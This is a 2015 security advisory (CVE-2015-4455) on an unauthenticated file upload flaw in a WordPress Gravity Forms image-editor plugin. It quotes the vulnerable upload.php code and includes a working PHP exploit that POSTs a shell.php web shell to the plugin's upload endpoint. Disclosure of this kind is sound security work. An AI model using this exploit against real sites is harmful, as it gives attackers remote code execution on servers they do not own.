Advisory #: 125
Title: Remote file upload vulnerability in aviary-image-editor-add-on-for-gravity-forms v3.0beta Wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-06-07
[CVE-2015-4455]
Download Site: https://wordpress.org/plugins/aviary-image-editor-add-on-for-gravity-forms
Vendor:
Vendor Notified: 2015-06-08
Vendor Contact: plugins@wordpress.org
Advisory: http://www.vapid.dhs.org/advisory.php?v=125http://www.vapid.dhs.org/advisory.php?v=125
Description: A plugin that integrates the awesome Adobe Creative SDK (formerly Aviary) Photo / Image Editor with the Gravity Forms Plugin.
Vulnerability:
There is a remote file upload vulnerability in aviary-image-editor-add-on-for-gravity-forms/includes/upload.php as an unauthenticated user can upload any file to the system. Including a .php file. The upload.php doesn't check that the user is authenticated and a simple post will allow arbitrary code to be uploaded to the server. In the file aviary-image-editor-add-on-for-gravity-forms/includes/upload.php the code doesn’t check for an authenticated Wordpress user: 1 <?php 2 3 $filename = $_SERVER["DOCUMENT_ROOT"]."/wp-load.php"; 4 if (file_exists($filename)) { 5 include_once($filename); 6 } else { 7 include_once("../../../../wp-load.php"); 8 } 9 echo "Here"; 10 $image_file = $_FILES['gf_aviary_file']; 11 if($image_file['name']!=''){ 12 $max_file_size = 4*1024*1024; 13 $file_size = intval($image_file['size']); 14 if( $file_size > $max_file_size ){ 15 $msg = "File Size is too big."; 16 $error_flag = true; 17 } 18 $extension = strtolower(end(explode('.', $image_file['name']))); 19 $aa_options = get_option('gf_aa_options'); 20 $supported_files = $aa_options['supported_file_format']; 21 $supported_files = strtolower($supported_files); 22 if(!$error_flag && $supported_files != '' ){ 23 $supported_files = explode (',', $supported_files); 24 if(!in_array($extension, $supported_files)){ 25 $msg = "No Supported file."; 26 $error_flag = true; 27 } 28 } 29 if(!$error_flag){ 30 $wp_upload_dir = wp_upload_dir(); 31 if(!is_dir($wp_upload_dir['basedir'].'/gform_aviary')){ 32 mkdir($wp_upload_dir['basedir'].'/gform_aviary'); 33 } 34 $upload_dir = $wp_upload_dir['basedir'].'/gform_aviary/'; 35 $upload_url = $wp_upload_dir['baseurl'].'/gform_aviary/'; 36 $file_name = $upload_dir.$_POST['gf_aviary_field_id'].'_'.$image_file['name' ]; 37 if(move_uploaded_file($image_file['tmp_name'], $file_name)){ 38 $file_url = $upload_url.$_POST['gf_aviary_field_id'].'_'.$image_file['na me']; 39 } 40 } 41 $return_obj = array('status' => 'success', 'message' => $file_url); 42 echo json_encode($return_obj); 43 } 44 ?>
Export: JSON TEXT XML
Exploit Code:
  1. <?php
  2. /*Remote shell upload exploit for aviary-image-editor-add-on-for-gravity-forms v3.0beta */
  3. /*Larry W. Cashdollar @_larry0
  4. 6/7/2015
  5. shell will be located http://www.vapidlabs.com/wp-content/uploads/gform_aviary/_shell.php
  6. */
  7.  
  8.  
  9.        $target_url = 'http://www.vapidlabs.com/wp-content/plugins/aviary-image-editor-add-on-for-gravity-forms/includes/
  10. upload.php';
  11.        $file_name_with_full_path = '/var/www/shell.php';
  12.  
  13.        echo "POST to $target_url $file_name_with_full_path";
  14.        $post = array('name' => 'shell.php','gf_aviary_file'=>'@'.$file_name_with_full_path);
  15.  
  16.        $ch = curl_init();
  17.        curl_setopt($ch, CURLOPT_URL,$target_url);
  18.        curl_setopt($ch, CURLOPT_POST,1);
  19.        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  20.        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  21.        $result=curl_exec ($ch);
  22.        curl_close ($ch);
  23.        echo "<hr>";
  24.        echo $result;
  25.        echo "<hr>";
  26. ?>
Screen Shots:
Notes: